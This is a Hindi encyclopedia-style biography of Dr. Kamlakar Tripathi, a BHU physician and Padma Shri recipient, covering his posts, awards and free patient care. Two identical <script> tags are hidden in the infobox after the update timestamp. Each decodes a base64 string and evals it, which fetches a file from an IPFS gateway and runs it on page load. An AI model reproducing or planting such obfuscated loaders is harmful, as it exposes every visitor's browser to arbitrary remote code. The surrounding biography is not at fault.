कमलाकर त्रिपाठी
कमलाकर त्रिपाठी
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पूरा नाम | डॉ. कमलाकर राम त्रिपाठी |
कर्म भूमि | भारत |
कर्म-क्षेत्र | चिकित्सा |
पुरस्कार-उपाधि | पद्म श्री, 2022 |
प्रसिद्धि | चिकित्सक, समाज सेवक |
नागरिकता | भारतीय |
अन्य जानकारी | डॉ. कमलाकर त्रिपाठी हर दिन सुबह से लेकर शाम तक 100 से 150 मरीजों को निःशुल्क परामर्श देते हैं। उनके नाम दो अंतरराष्ट्रीय व 15 राष्ट्रीय अवार्ड हैं। |
अद्यतन | 13:02, 2 फ़रवरी 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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- बीएचयू चिकित्सा विज्ञान संस्थान में मेडिसिन विभाग के पूर्व प्रोफेसर डॉ. कमलाकर त्रिपाठी ने कई उपाधियां हासिल की हैं।
- वह आज भी अपना अधिकतर समय लोगों की सेवा में बिताते हैं। कोरोना काल के दौरान भी उन्होंने मरीजों को देखा और लगातार दवाओं के बारे में जानकारी देते रहे।
- डॉ. कमलाकर त्रिपाठी नेफ्रोलॉजी विभाग के परामर्शदाता रह चुके हैं। इसके अलावा 1998 से 2001 तक मेडिसिन विभाग के विभागाध्यक्ष रहे।
- 2008 से 2009 तक इंडियन हाइपरटेंशन सोसायटी के अध्यक्ष भी रहे। वहीं 2009 से 2011 तक यूपी डायबिटीज एसोसिएशन के अध्यक्ष रह चुके हैं।
- उनके नाम दो अंतरराष्ट्रीय व 15 राष्ट्रीय अवार्ड भी हैं।[1]
- वह बीएचयू की तरफ से यूएसए, कनाडा, यूके और नीदरलैंड का दौरा भी कर चुके हैं।
- प्रोफेसर डॉ. कमलाकर त्रिपाठी बताते हैं कि आज भी मैं बिना लोगों की सेवा के नहीं सोता हूं। उनका कहना था कि जीवन का अंतिम क्षण भी तभी सार्थक होगा जब किसी की सेवा की जाए।
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टीका टिप्पणी और संदर्भ
- ↑ अबतक मिले 2 अंतरराष्ट्रीय और 15 नेशनल अवॉर्ड, कोरोना काल में की जनता की सेवा (हिंदी) bhaskar.com। अभिगमन तिथि: 02 फरवरी, 2022।
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